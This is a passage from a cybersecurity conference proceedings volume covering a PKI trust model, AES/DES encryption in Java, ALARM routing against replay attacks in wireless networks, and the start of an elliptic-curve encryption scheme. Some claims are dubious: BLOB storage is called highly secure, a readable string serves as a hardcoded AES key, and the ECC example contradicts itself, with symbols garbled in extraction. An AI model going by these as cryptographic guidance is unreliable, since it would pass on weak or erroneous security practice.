As the information is stored in the form of objects in the database, it is difficult to

intercept the database. Nobody changes the information in the database (Fig. 3).

6.1 Public-Key Directory

Each CA and sub CA have a public key database in which all the public key of the
issuer and issue is stored in the form of an object by taking its data type as BLOB
(Figs. 4, 5, 6, 7 and 8).
Design and Implementation of a Secure Hierarchical Trust Model for PKI 421

Fig. 3 a Database of Root CA. b Database of Root CA

Fig. 4 Public-key directory

422 S. Tanwar and K. V. Prema

Fig. 5 Self-signed certificate of Root CA

Fig. 6 Services provide by Root CA

Design and Implementation of a Secure Hierarchical Trust Model for PKI 423

Fig. 7 Certificate request sent by SubCA to Root CA

Fig. 8 Certificate generated by SubCA

424 S. Tanwar and K. V. Prema

7 Conclusion

The hierarchical trust model designed by us is secured than the existing one. We
have created a digital certificate for 2048 bits and use the hybrid approach for
generated the digital signature. As the use of encryption and then storage of Java
objects in BLOB enables confidentiality and message integrity. Hence, the system
will enable secure communication and provide proper authentication. Password,
private key, issuer public key, message and other sensitive information is stored in
the BLOB form and hence is highly secure both from client’s side attack, back-end
attack and also during transmission over internet. The application is completely
based on OOPs concept and hence can be implemented in any kind of organization
may it be academics, government, public sectors, banks, etc.

8 Future Work

This model is implemented in Java. One can implement it with more public key size
such as 4096 bits and SHA 1024 bit key. It would be more secure as the long key is
secure. One can also simulate it on simulators such as MATLAB or OPNET
simulator. The model can then be applied to two distinct working organizations
having separate policies. Policy mapping rules can be made to verify certificates of
each other.

References

1. Yanchao Z et al (2005) AC-PKI: anonymous and certificateless public-key infrastructure for

mobile ad hoc networks. In: 2005 IEEE international conference on communications, 2005,
ICC 2005, vol 5, IEEE
2. Liming H et al (2006) Fast authentication public key infrastructure for mobile ad hoc networks
based on trusted computing. In: International conference on wireless communications,
networking and mobile computing, 2006, WiCOM 2006, IEEE
3. Gong HX, Hui ZW, Hao L, Lv XY (2014) Based on improved CAN PKI trust model. J Chem
Pharm Res 6(3)
4. Liping H (2011) Research on trust model of PKI, IEEE
5. Jarupunphol P, Mitchell C (2003) PKI implementation issues in B2B E-commerce. In:
Gattiker UE (ed) EICAR conference best paper proceedings. EICAR, 2003, Copenhagen, p 14.
ISBN: 87-987271-2-5
6. Nicusor V (2010) Public key infrastructure for public administration in Romania. In: 2010 8th
international conference on communications (COMM). IEEE
7. Garcia C, Carlos L, Perez-Leguizamo C (2011) An autonomous decentralized public key
infrastructure. In: 10th international symposium on autonomous decentralized systems
(ISADS), IEEE
Design and Implementation of a Secure Hierarchical Trust Model for PKI 425

8. Audun J (2013) PKI trust models. In: Theory and practice of cryptography solutions for secure
information systems

Author Biographies

Sarvesh Tanwar is a Research Scholar with Department of

Computer Science & Engineering in College of Engineering &
Technology (CET), Mody University of Science & Technology,
Lakshmangarh (Rajasthan), India. She received her M.Tech
Degree from Maharishi Markendeshwar University (MMU),
Mullana with Distinction and is doing Ph.D from Mody
University of Science & Technology (MUST), Lakshmangarh.
Her research areas are Cryptography and Ad hoc networks. She
has around 11 years of teaching experience.

Dr. K. V. Prema is currently working as Professor, Department

of Computer Science & Engineering MIT, MAHE, Manipal,
Karnataka, India. Her research areas are Network Security,
Computer Networks, Neural Networks and Pattern Recognition.
She has around 26 years teaching experience and has published
around 100 research papers in National/International Journals/
Conferences. She is also on the editorial board of some journals.
Encryption and Decryption
Technique Using Java

Ankur Saxena, Neeraj Kaushik and Nidhi Kaushik

Abstract In today’s communication era, sharing of data is increasing significantly.

The data being transmitted is vulnerable to several approaches. Consequently, the
information security is one of the most challenging facts of communication. This
research will represent a view on the modern state in the field of encryption, in
particular on private key block ciphers which are widely applied for bulk data and
connection encryption. Encryption is the contrivance of converting plain text into
the cipher text in which plain text is taken the input for the encryption process, and
cipher text is considered as the output. Decryption is the mechanism of changing
cipher text into the plaintext. This technique runs on any web server or application
server. The core thought is to encrypt secret information before transmitting it to
interested websites. A J2EE information model is employed to test the integrity of
the mechanism.

Keywords Encryption
Decryption
Java
AES
DES
Tomcat

1 Introduction

Every person stores huge amounts of data like e-mails, contacts, calendars, docu-
ments, photos, and on the net. To cover and protect the privacy of online delicate
data is another system. This requires that you know which computers will be
attached to each other so that the key can be present on each one. It is same as a
secret code that each of the computers must know in order to translate the
information [1].

A. Saxena (&)
N. Kaushik
N. Kaushik

Amity University, Noida, Uttar Pradesh, India
e-mail: [email protected]
N. Kaushik
e-mail: [email protected]
N. Kaushik
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 427

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_40
428 A. Saxena et al.

Java: It is one of the most robust, mainly used, and perfect programming lan-
guages for creating enterprise applications. Over the years, Java development has
evolved from applets run on a web browser (Chrome, Mozilla) to large enterprise
distributed applications run on multiple servers. Presently, Java has three different
flavors, and each addresses certain programming requirements [2].
Encryption: A practice of changing simple text into secret message text is called
as Encryption. Encryption technique is used by cryptography to send secret mes-
sages through at mid-channel. The encryption processes require two parts key and
algorithm.
Decryption: It is just an antipole process of encryption of text.
Plain Text: It is the main message that somebody wants to broadcast with the
other end is mentioned as plain text. For example, Neeraj sends “Dear Ankur,
Welcome” message to the Ankur. In this, “Dear Ankur, Welcome” message
showed.
Cipher Text: The message that is not easily known or useless is what treated as
cipher type text. By the technique of cryptography, the early message is converted
into non-readable form before the broadcasting of the actual message. Like
“Ank172#@81ukl8*^5%” is a cipher text show “Hello Ankur how are you” [3].
Hashing: It is used to build, search or delete data from the hashtable. Hashing is
so commonly used in computing that one might expect that there is no dearth of
programmer to understand well hash functions and that choosing a suitable function
not be a difficult task [4] (Fig. 1).

Fig. 1 Flow of cryptography

Encryption and Decryption Technique Using Java 429

1.1 Symmetric-Key Cryptography

Symmetric-key cryptography glances to encryption methods in which all the source

and destination claim the same key. It is implemented in two ways as block and
stream ciphers. The block cipher enciphers input data in blocks of plaintext whereas
stream cipher used individual characters as input form. The data encryption stan-
dard and the advanced encryption standard are generally block cipher layouts which
have designate cryptography by the USA.
Advanced Encryption Standard (AES) algorithm is not for security as well as for
high pace and its hardware and software operation are fast and quick. New
encryption standard was approved by NIST to displace DES. Encrypts data slabs of
128 bits with in 10, 12, and 14 round calculate on size of the key. This can be
applied to separate platforms mainly in gadgets devices, and it is very rigorously
tested using many applications [5].

1.2 Data Encryption Standard (DES)

This algorithm plan is to implement a typical method to cover commercial enter-

prise and unorganized information. In this, the similar key is used for encryption
and decryption process [6]. DES algorithm has been explained with this flowchart
(Fig. 2; Table 1).

1.3 Public-Key Cryptography

The symmetric key uses the similar key for message encryption and decryption
process; still, a message can include a distinct key than others. The drawback of
symmetric cipher is the central management necessary to use them soundly. Any
specific pair of conveying parties need, elegantly, shares a distinct key, and may be
each of the cipher text. The number of keys needed increases as the second power
of the number of network members, which very quickly need critical key man-
agement scheme to controlling form and secret keys. The Diffie and Hellman’s
research sparked widespread efforts to finding public-key encryption [7] (Fig. 3).
430 A. Saxena et al.

Fig. 2 Flow of DES technique

Table1 Comparison between AES and DES techniques

Factors AES DES
Developed 2000 1977
Size 128, 192, 256 bits 56 bits
Block size 128 bits 64 bits
Encryption Faster Moderate
Decryption Faster Moderate
Security More Less
Hardware and software Faster Better in hardware
implementation than in software
Rounds 14 16
Encryption and Decryption Technique Using Java 431

Fig. 3 Flow of public-key

cryptography

2 Review of Literature

2.1 The Round Number

This encryption technique depends on the capacity across the shortcut encounter,
which is more active than the brute force process. Along the block duration and 128
bit key length for AES algorithm, it has not found to six or even more trolls on an
interpreted version of the usage of shortcut encounters [8].
User study three sets of initial keys only one bit difference after ten round
expansions with the round key technique which chosen by random, in Table 2
through them, the first set key has variation in 16th built, the second in 128th, and
last in 40th. The big divergence of this key variation after ten rounds is show in
Table 3 [9].

2.2 Byte-Rotation Encryption Technique

The BREA algorithm has the following key features:

1. It is a symmetric key block cipher algorithm.
2. Each block size is 16 bytes.

Table 2 Initial key—three sets

432 A. Saxena et al.

Table 3 Bit difference change (BD)

Rounds 0 1 2 3 4 5 6 7 8 9 10
BD 1 1 4 18 30 43 38 47 36 37 28 31
2 1 9 29 49 47 63 59 75 66 71 58
3 1 3 14 36 37 64 59 57 58 59 54

Fig. 4 Byte-rotation encryption technique flow

Encryption and Decryption Technique Using Java 433

3. Size of key matrix is 16 bytes.

4. Values of key matrix are randomly selected and ranging from 1 to 26.
5. Mono-alphabetic substitution concept is followed.
6. Byte-Rotation technique is used.
Byte-Rotation Encryption Technique Flow [10]: (Fig. 4)

3 Methodology

The encryption user must use a secret key with a technique. In this process, user
uses a technique called advanced encryption standard 128 and the string bytes
“AnkurSaxena” as the secret key. Advanced encryption standard technique can use
a key of 128 bits, so programmer selected that key.

The generateKey() method to generate a key for advanced encryption standard

technique with a given key.
434 A. Saxena et al.

This program demonstrates the above encryption technique.

The following output is got from the above test; user clearly shows that the
original text is replaced with decryption:
Plain Text: Saxena
Encrypted: sbhCap4urE50a/d
Decrypted: Saxena (Fig. 5)

Fig. 5 The graphical representation of encryption system

Encryption and Decryption Technique Using Java 435

4 Conclusion

Encryption technique plays a key role in network security. This work reviewed the
competence of encryption, AES techniques, AES with Java over tomcat web server
or application host. Roots on the text files are used and the technical outcome, it
was achieve that AES technique utilize least encryption. It is also observed that
decryption of AES technique is safer than various other techniques. By using
simulation result, it is calculated that AES algorithm is a better than DES technique.
Our future research will target on compared and analyzed cryptographic encryption
like AES, DES. It will incorporate experiments on audio, image, and video
encryption or decryption, and the target will be to advance encryption and
decryption velocity or time.

References

1. Saxena A, Jakhmola R (2011) Securing confidential data using Java/J2EE. Int J Sci Technol
Manag 2(3):54–59
2. DSarkar D, Jaiswal A, Saxena A (2015) Understanding architecture and framework of J2EE
using web application. Int J Comput Sci Inf Technol 6(2):1253–1257
3. Thambiraja E, Ramesh G, Umarani R (2012) A survey on various most common encryption
techniques. Int J Adv Res Comput Sci Softw Eng 2(7):226–233
4. Saxena A, Chaurasia (2014) Key and value paired data using java hash table. Int J Eng Manag
Res 4(1):81–89
5. Mahajan P Dr, Sachdeva A (2013) A study of encryption algorithms AES, DES and RSA for
security. Glob J Comput Sci Technol Netw Web Secur 13(15):15–22 Version 1.0
6. Prashant G, Deepthi S, SandhyaRani K (2013) A novel approach for data encryption standard
algorithm. Int J Eng Adv Technol (IJEAT) 2(5):264
7. Agarwal V, Agarwal S, Deshmukh R (2014) Analysis and review of encryption and
decryption for secure communication. Int J Sci Eng Res (IJSER) 2(2):1–3
8. FIPS PUb 197-the official AES standard. http://www.techheap.com/cryptography/encryption/
fips-197.pdf
9. Chen† Q, Tang Z, Li Y, Niu Y, Mo J (2011) Research on encryption algorithm of data
security for wireless sensor network. J Comput Inf Syst 7(2):369–376
10. Bhati S, Bhati A, Sharma SK (2012) A new approach towards encryption schemes: byte—
rotation encryption algorithm. In: Proceedings of the world congress on engineering and
computer science 2012, vol II WCECS 2012, October 24–26
436 A. Saxena et al.

Author Biographies

Ankur Saxena is currently working as Assistant Professor in

Amity University Uttar Pradesh (AUUP), Noida. He has 12 years
of wide teaching experience at graduation and post-graduation
level and 3 years of industrial experience in the field of Software
Development. He has published 10 books with international
repute publication. He has published many research papers in
reputed national and international journals. He is editorial board
member and reviewer for a number of journals. His research
interests are Cloud Computing, Big Data, evolutionary algo-
rithms, software framework, design & analysis of algorithms,
biometric identification.

Neeraj Kaushik Presently working as Assistant Professor

(Computer Science) in Amity University Uttar Pradesh. He has
compeleted MCA from Guru Jambheshwar University in 2002.
He has 15+ years of teaching experience. He has earlier worked
in institutes like University College, Kurukshetra and
Department of Management, Kurukshetra University
Kurukshetra. His research endeavors are mainly in areas like
Cryptography, Information Security, cloud computing and Big
data Analytics. His manuscripts are published in ACM and
Springer.

Nidhi Kaushik Presently working as Assistant Professor

(Computer Science) in Amity University Uttar Pradesh. She has
compeleted MCA from Kurukshetra University in 2004 and
presently pursuing PhD from Mewar University. She has 13+
years of Teaching experience. She has earlier worked in National
Institute of Technology, Kurukshetra. Her research endeavors are
mainly in areas like Software Reliability, Optimization
Techniques, Cryptography, Information Security and Big data
Analytics. Her manuscripts are published in ACM and Springer.
She contributed as Co-editor of a reputed book titled “Rising
India…an echo”.
Detection and Removal of Security
Attacks Using ALARM Protocol
in WSN Environment

Seema Rawat, Praveen Kumar and Bhawna Dhruv

Abstract A mobile ad hoc network comprises many mobile wireless nodes.

MANET is a self-configuring network and such network can be organized easily
without any base station. MANET can be very efficiently used in salvage-related
area, military, and law enforcement. But it faces the issues of security and confi-
dentiality, especially when used in susceptible areas. Safe routing protocols have
been refined to provide protection and confidentiality at various levels, e.g.,
ALARM protocol (Anonymous Location-Aided Routing) provides both privacy
features and security, which include data virtue, node verification, and obscurity.
This network focuses on achieving the major security objectives which are confi-
dentiality, authentication, authorization, and integrity. In this paper, we have pro-
posed ALARM protocol in WSN environment which uses network time protocol
synchronization and removes the malicious node from the network, hence pre-
venting the network from attacks.

Keywords MANET
ALARM
Security attacks
Wireless sensor network

1 Introduction

Wireless networking is an automation field in which two or more systems interact

with each other using typical network protocol without using any cable. Such
networks are of two types: infrastructure or infrastructure less. In infrastructure

S. Rawat (&)
P. Kumar
B. Dhruv

Amity University Noida, Noida, India
e-mail: [email protected]
P. Kumar
e-mail: [email protected]
B. Dhruv
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 437

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_41
438 S. Rawat et al.

network, the interaction takes place among the wireless nodes and few access
points. Ad hoc network is a type of infrastructure less and decentralized type
wireless network which basically means, there is no actual infrastructure such as
router devices or access points in wireless networks. In routing process, each node
involves itself by forwarding data to and for all the nodes [1].
In ad hoc network, the regulation of which node to forward data is made
dynamically on the basis of network design and connection. Essentially, it is a
network which is generally used in emergency situations. A fixed infrastructure is
not required such types of networks. Nodes which are in close radio range, interact
directly which each other using the wireless links whereas the nodes which are far
from each other take the help of intermediate nodes so that relay message can be
passed. Wireless networks are the networks which make use of radio waves or
microwaves in order to establish interaction between the devices. In such network,
all the nodes act as router.
MANET is mobile ad hoc network. It is self-establishing network which is
infrastructure less in nature. In MANET, different mobiles are associated through
different wireless links. Every mobile node can freely move, which further means
that there is no central control available. In MANET, mobile nodes can join or leave
the network at any instance [2]. MANET is used in some crucial applications such
as emergency salvage, vehicular network, military, and law prosecution. There are
various problems in MANET like security concerns, transfer issue, etc. Due to same
reason, there are different types of attack which are provoked in MANET. These
attacks can be of different types, such as:
• Eavesdropping is a type of attack which takes place in the mobile ad hoc
networks. Eavesdropping is executed to obtain any information which is secret
in nature and is kept classified during entire communication.
• Gray-hole attack’s other name is routing misbehavior attack. It leads to message
dropping.
• Replay attack is a type of attack in which the attacker executes a replay attack
that is repeatedly retransmitted. The actual data that has been captured by the
network is repeatedly transferred. This attack spots the route novelty and brings
out the poor security design.
To isolate these attacks from interaction path in the network, there are different
techniques which we will be discussed further. In this proposed mechanism, we
tried to prevent these attacks (replay attack) by using mutual authentication among
the nodes in the entire network. For this, we used authentication-based protocol
called ALARM using cryptographic mechanism of digital signature in the wireless
sensor network.
Detection and Removal of Security Attacks Using … 439

2 MANET

MANET is a type of mobile ad hoc network. This is a self-configuring and

infrastructure less network. In this network, many mobile nodes are connected
through wireless link. There is no central controller available in this network. The
types of MANET are as follows:
(1) Wireless sensor network: A wireless sensor network is a group of devices
which are sensing in nature and are used for monitoring and recording the
physical condition while passing the information to central location.
(2) Wireless mesh network: This network works upon mesh topology. This net-
work comprises gateway, routers, and clients. The traffic in this network is
forwarded by routers from gateways. This is not connected to the Internet.
The absence of infrastructure in the ad hoc network proves to be a huge
challenge in these networks. All the mobile nodes share the power to accept as
well as route the traffic to further nodes. MANETs work upon limited band-
width and mobility of the nodes; therefore, there is a need to have energy
efficiency hence making the whole communication very unreliable. The pro-
tocols of ad hoc routing are as follows:
• Zone routing protocol (ZRP)
• Ad hoc on demand distance vector (AODV)
• Wireless routing protocol (WRP)
In MANET, the topology changes very dynamically. This type of network does
not have fixed infrastructure. This network has typical following characteristics:
changing topology, limited bandwidth, and energy inefficient.
A. Types of MANET
The different types of MANETs are discussed below:
• Vehicular ad hoc network: This type of network is used for communication
in the mobile vehicles. The communication does not come to halt even if the
vehicles are moving in different or opposite direction.
• The data intelligently and allows further data communication.
• Intern-based mobile ad hoc network: In such type of network, the routing
algorithms cannot be directly deployed. This network uses fixed nodes for
data interaction.

3 Alarm Protocol

ALARM: It is defined as Anonymous Location-Aided Routing in MANET. The

nodes which are used in this protocol indicate the current location and are used
to forward the data to other nodes for communication. ALARM is highly
440 S. Rawat et al.

recommended because this serves the purpose of both authentication and security. It
is also to prevent the network from the active and passive attacks.
This basically follows two schemes, i.e., initialization and operation.
A. Initialization
• The group manager is the head of the entire network. He is the one who
adds all the nodes in the network as the group members. During this phase,
every group member is assigned a private key that is unknown to anyone.
This key is required to implement the valid group signatures for security
purpose [3]. Every group member has a public key as well which is only
known to the group manager. The group manager is only responsible for
every group signature and verifies all the signers.
• The group manager is responsible for adding or deleting the group member
[4]. The GM must check whether joining or joining is feasible for the
network or not.
B. Operation
• The time duration is divided into equal parts. While beginning process,
every node member generated a temporary public–private key combination.
• Every stop will let us know about the location of the node through GPRS.
• The GPRS would contain its location, time stamp as well as the temporary
public key.
• When a new “Location Announcement Message” is received, every node
member will check that the same LAM has not been received by them
before [5]. When this is verified, the time stamp with group signature is
checked. If all the entities are verified, the node forwards the LAM to its
neighboring node.
• Whenever a node wishes to interact with the other location, it asks if the
other node already exists there or not and generates a session key if there is
no node at that particular location.
• Then, the message is forwarded to the nodes. The path is chosen based upon
shortest path or other path computing algorithms.

4 Proposed Work

The protocol ALARM is used majorly for mutual authentication among the nodes.
Having read the assumptions like location and time, we get to know that clocks of
the mobile nodes are weakly synchronized. When the clocks are weakly synchro-
nized in any network, then the possibility of replay attack becomes more, making
the data transmission among the nodes very unreliable. In this work, we will isolate
the replay attack in the mutual authentication using ALARM protocol in wireless
sensor network. Using NTP, we can ensure strong clock synchronization among the
Detection and Removal of Security Attacks Using … 441

nodes. The term “strongly synchronized” refers to that if the data is transferred from
one node to other, the processing speed is very fast [6]. If there exists trust rela-
tionship among the nodes, no replay attack is possible in the network because there
is no waiting time for the data transfer during communication.
Due to weak synchronization, the confidential information from the network
may be lost. But while using NTP, mutual authentication among the nodes takes
place and malicious node is removed from the network (Fig. 1).

Fig. 1 Flowchart of
proposed methodology
442 S. Rawat et al.

5 Result

In this figure shown below, it can be seen that the flood messages move to the
monitor node which then identifies the malicious node and finds the best suitable
path for further data transmission (Fig. 2).
In the figure shown below, it is seen that the source node gets reply message
from each node for carrying forward the data communication. In this way, the
interaction among the nodes is stopped, and a new path is established (Figs. 3, 4).
In the figure shown above it is clear that, due to the new proposed algorithm,
whenever a malicious node is detected in the network, we find the best suitable path
hence removing the malicious node from the entire network.

Fig. 2 Malicious node detection

Fig. 3 New path identified

Detection and Removal of Security Attacks Using … 443

Fig. 4 Removal of malicious node

Packet loss:
The two axis of the graph represents different entities; X being the time and Y being
the packet loss. As in this network, the replay attack takes place resulting in higher
packet loss due to delayed transmission of the data packets. The graph basically
represents that earlier there was huge packet loss which is in green color and now it
has been majorly reduced by which is depicted by red line. This is only possible due
to the isolation of the malicious node (Fig. 5).
Network throughput:
Throughput can be defined as the average rate per unit time. In this case, it can be
defined as the average rate of packets delivered successfully in per unit time. The
throughput of any network should always be high. But in this case, due to replay
attacks, it is very low. On the contrary, we see that the network throughput
increases rapidly after isolation of the malicious node. In this graph shown below,
the red line represents the throughput of the network while replay attack is being
taking place. Whereas the green line depicts the new throughput which is very high
after the isolation of the malicious node (Fig. 6).

6 Conclusion and Future Scope

In this work, we can conclude that due to major properties of the mobile ad hoc
network, various attacks are possible. These properties are open channel, infras-
tructure less network, and variably changing topologies. These attacks can be
prevented by different authentication protocols. In our work, different types of
attacks and their detection, isolation, and impacts on the network are well analyzed.
The main aim of security is that the packet transmission in the entire network from
one location to another should be reliable and verified. In the network, all the nodes
should follow strong trust relationship because any type of malicious node can
444 S. Rawat et al.

Fig. 5 Packet loss

attack the network, modifying or fabricating the information which is very

important.
We have reviewed the ALARM protocol in the WSN environment which has
increased security as well as privacy in the networks. In our proposed algorithm, we
detect and isolate any malicious using network time protocol which supports strong
synchronization of the nodes in the network, reducing the packet loss and
increasing the network throughput. In future, we can also produce the latest version
of ALARM protocol for reducing the packet loss.
Detection and Removal of Security Attacks Using … 445

Fig. 6 Network throughput

References

1. Levya Mayorga I (2014) Performance analysis of a non preemptive hybrid WSN protocol in
mobile environment. In: 28th international conference on advanced information networking
and applications workshop, IEEE, pp 486–491, May 2014
2. Shen H, Zhoa L (2013) ALERT: anonymous location based efficient routing protocol in
MANET. IEEE Trans Mob Comput 12(6) June 2013
3. Agarwal P, Ghosh RK (2008) Cooperative black and gray hole attacks in mobile Ad hoc
network. In: 2nd international conference on ubiquitous IMC, Korea
4. El Defrway K, Tsudik G (2011) ALARM: anonymous location aided routing in suspicious
MANET. IEEE Trans Mob Comput 10 Sept 2011
446 S. Rawat et al.

5. Cheng Y, Agarwal D (2005) Distributed anonymous secure routing protocol in wireless

MANET. OPNETWORK
6. Koulali MA, Kobbane A (2012) Optimal distributed relay selection for duty cycling wireless
sensor network. In: Global communication conference, IEEE, pp 145–150, Dec 2012

Seema Rawat is working as Assistant Professor at Amity

University Uttar Pradesh Noida. She is M.Tech in Computer
Science and B.Tech in Information Technology. She has 12.3
years of experience in academics. She has a number of patents
and copyright to his credit and published more then 70+ research
paper in International Journals and Conferences (Scopus
Indexed). She is a member of IEEE, IACSIT and IAENG. Her
primary research area includes Cloud Computing, Data mining
and Artificial Intelligence.
Encryption Technique Using Elliptic
Curve Cryptography Through
Compression and Artificial Intelligence

Subhranil Som

Abstract This paper is an algorithmic approach to a compression scheme followed

by an encryption of the compressed input stream using Elliptic Curve Cryptography
(ECC) over prime field. The compression is an Artificial Intelligence (AI) approach
where the input stream is fully read, and the repetitive groups in input stream are
replaced by some unused character set. Elliptic curve has been chosen as it requires
very less key size. The cryptanalysis to find back the private key requires discrete
logarithmic approach. In the encryption scheme, first, the required parameters have
been chosen to satisfying the equation [4a3 + 27b2 6¼ 0 mod p], where a prime
number “p”, which defines the cardinal number of the set. Each “p + 1” elements of
the set has been evaluated. Each distinct character in the input stream is reflected to
a point over the elliptic curve to deduce a point (xA, yA) using an integer value
(K) which has been agreed by both sender and receiver. The receiver of the cipher
text chooses a point from the set as the generator point generates public key set
using key and is distributed among all the senders. This public key set has used in
conjunction with the sender’s private key and the point (xA, yA) to generate the
cipher text which has been passed over to the intended recipient. The receiver takes
up the cipher text and uses private key to find back the (xA, yA). The actual character
from (xA, yA) using K and the original input stream has been evaluated.

1 Introduction

Early computer applications had no or very less security. People understood that
data on computers are tremendously important feature of modern life. That is why
many areas in security began to gain eminence [1]. As outcome researchers are still
at work in the area in cryptography to develop the security more effectively [2].

S. Som (&)
Amity Institute of Information Technology, Amity University,
Uttar Pradesh, India
e-mail: [email protected]; [email protected]

© Springer Nature Singapore Pte Ltd. 2018 447

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_42
448 S. Som

In this paper a new technique has been proposed, where an algorithmic approach
to a compression scheme followed by an encryption of the compressed input
stream, using Elliptic Curve Cryptography (ECC), over prime field, has been cas-
caded. The compression is an Artificial Intelligence (AI) approach where the input
stream is fully read and the repetitive groups in input stream are replaced by some
unused character set. In the encryption scheme, first, the required parameters have
been chosen to satisfying the equation [4a3 + 27b2 mod p 6¼ 0] and a prime number
“p”, which defines the cardinal number of the set. Each “p + 1” elements of the set
are evaluated. Each distinct character in the input stream is reflected to a point over
the elliptic curve, to deduce a point (xA, yA), using an integer value (K) which has
been agreed by both sender and receiver. Receiver of the cipher text by choosing a
point from the set of Generator points generates public key set, using private key
and is distributed among all the senders. This public key set is used in conjunction
with the sender’s private key and the point (xA, yA) to generate the cipher text which
has been passed over to the intended recipient. Receiver takes up the cipher text and
uses private key to find back the point (xA, yA). Lastly, the actual character from
(xA, yA) using K and the original input stream has been evaluated.
In Sect. 2 of this paper, the proposed technique has been discussed, Sect. 3 the
Performance and Analysis are discussed. The conclusion is given in Sect. 4 fol-
lowed by References.

2 The Proposed Technique

The technique has been described in the following subsection:

2.1 Select Appropriate Elliptic Curve (EC) Equation

and Produce the Field GF(q)

To grow a field through pm elements, it has been indicated as Galois Field [GF(pm)],
polynomial f(x), (degree m) irreducible over GF(p). An elliptic curve (EC) and
finite field GF(q) have chosen in following ways:
(a) Finite field, an efficient illustration of field elements have been chosen in a way
that the processes are easily executed.
(b) The other representations of curve (projective, etc.) have been taken into
consideration.
(c) Number of points on the curve, #E(GF(q)), has been divisible by large prime
“n”.
(d) #E(GF(q)) 6¼ q, where q = #GF(q) (field order).
Encryption Technique Using Elliptic Curve Cryptography … 449

The following equation of EC has been chosen:

y^2(mod p) = x^3 + ax + b(mod p) over field Zp = {0, 1,…, p − 1}
Where a and b are in Zp; x, y are also in Zp and 4a3 + 27b2 10 mod p
Let the Equation be: y2 = x3 + x + 6.

2.2 Key Generation

Let us suppose that, “p” is a prime number = 11. Then the cardinal number of the
set of point is (11 + 1).
For x = 0, 1,…, 10, compute z = x3 + x + 6 mod 11
z has been checked whether is a quadratic residue by
Legendre symbol (z/p) = z^(p − 1)/2 mod p = z^5 mod p
If YES, compute two square roots: ±z (p+1)/4 mod p = ± z3 mod p
Hence, the points are: (2,4),(2,7), (3,5),(3,6), (5,2),(5,9), (7,2),(7,9), (8,3),(8,8),
(10,2), O.
Let the generator point in (2, 7) represented by G.
Compute the 2G, 3G, … as follows:
xR = s2 – xP − xQ and yR = s(xP − xR) − yP where s = (yP – yQ)/(xP – xQ)
if P 6¼ Q, s = (3xP2 + a)/(2yP) if P = Q
For user A: User A has chosen random number to generate private key
(Ak) = 7
“Ak” is multiplied with G to obtain the public key as follows:
Ak*G = 7*(1, 5)
This has been done as follows:
G + G = 2G
Hence, 7 * G = 2(2G + G) + G = (7, 2) (Let this point be denoted by GA).
Thus, the total public key pair is [G, GA].
Each user issues their public key.

2.3 Encryption of the Plain Text

Encryption of the text has been done in 3 phases.

a. Public Key validation:
Public key validation is done as follows:
(a) Verify that Q = ∞.
(b) Verify that xQ and yQ has been correctly represented elements of Fq (for
example integers interval (o, q − 1) where Fq is prime field and m bits
strings of length, if Fq is binary which is field of order 2 m).
450 S. Som

(c) Authenticate, Q satisfies EC equation has been defined by a and b.

(d) Authenticate, that nQ = ∞.
(e) If verification has been failed, return “Invalid”, otherwise, return “Valid”.
b. A character has been compressed of text to be encrypted to a point in the EC:
Method has been chosen for representing each character of plain text to be a
point in the EC:
Steps:
(i) Pick an EC Ep(a,b).
(ii) Let, E has N points on it.
(iii) Let alphabets consists of digits 0–9 and the letters A–Z has been coded
as 10, 11,…, 3.
(iv) This alters messages into series of numbers within 0–35.
(v) An auxiliary base has been chosen for parameter, example k = 20 (Both
parties need to be agreed on this).
(vi) Each number, let, mk take x = mk + 1 and attempts to solve y.
(vii) Another way to try x = mk + 2 and then x = mk + 3 up until solving for
y.
(viii) In exercise, find y prior hit x = mk + k − 1. After point (x,y) has been
taken. Number m has been converted as a point on the EC. On this
method, sequence of points has been generated from entire message.
Decryption:
Point (x,y) has been considered as each point and set “m” to greatest integer
which has been <(x − 1)/k. The point (x,y) has been decoded to symbol m.
Example:
Let, p(751), a(−1), b(188), n(727) has been treated as parameter of curve.
(a) Let plain text is “B”.
(b) “B” has been encrypted as 11.
(c) x = mk + 1 that is 11*20 + 1 = 221 not to be solved on behalf of “y” such
that,
y2 = x3 + ax + b mod p
(d) Need to solve for x = mk + 2, x = 222, y not exists. x = mk + 3, x = 223,
y not exists.
(e) x = mk + 4, so, x = 224 can be solved for y and y = 248.
(f) The (224,248)  (xm, ym) point has been encrypted and decrypted as
message.
c. Encryption Scheme:
In this part of the technique, the point (xm, ym) has obtained after compressing
the text into an elliptic curve which is encrypted by the user using public key and
the public key of the receiver. Let, user B wants to send a cipher text to user A. The
cipher text is:
[GB, (xm, ym) + b*GA]
Encryption Technique Using Elliptic Curve Cryptography … 451

2.4 Decryption of Cipher Text

Decryption of the cipher text has been done in two steps:

Step 1: Cipher text has decrypted first to the compressed point. This was done as
follows:
User A multiplies private key with public key of User B
Ak * GB
The resultant is subtracted from cipher text point:
{(xm, ym) + b*GA} – Ak * GB
Step 2: The original character decompression from the point is done as follows:
(a) (224,248) point has been encrypted and decrypted to
message.
(b) On the way to decrypt compute (x − 1)/k = (224 − 1)/
20 = 223/20 that is 11.15.
(c) Above equation returns 11 as plaintext.
(d) The number 11 has been decoded to character “B”.
(e) The possibility which has failed to find square and hence has
been failed to associate m to a point, which is about 1/2k [3].

2.5 Compression of Text Prior to Encryption

(a) Example of plain text to be compressed

Let, the plain text is:
“ANAMIKA SENGUPTA IS A GIRL. SRI PRABIR SENGUPTA IS HER
FATHER’S NAME. SMT SOMA SENGUPTA IS HER MOTHER’S NAME.
LISTENING TO MUSIC IS HER HOBBY”
(b) The substitution technique for compression
Here, searches for every repeating group of characters and replace them with a
binary number. Here in this text, first repeating group is “A SENGUPTA IS”; this
will be replaced by (1)2.
So the text becomes:
“ANAMIK (1)2 A GIRL. SRI PRABIR SENGUPTA IS HER FATHER’S
NAME. SMT SOM (1)2 HER MOTHER’S NAME. LISTENING TO MUSIC
IS HER HOBBY.”
Next repeating group is “IS HER”; this will be replaced by (11)2.
“ANAMIK (1)2 A GIRL. SRI PRABIR SENGUPTA (11)2 FATHER’S NAME.
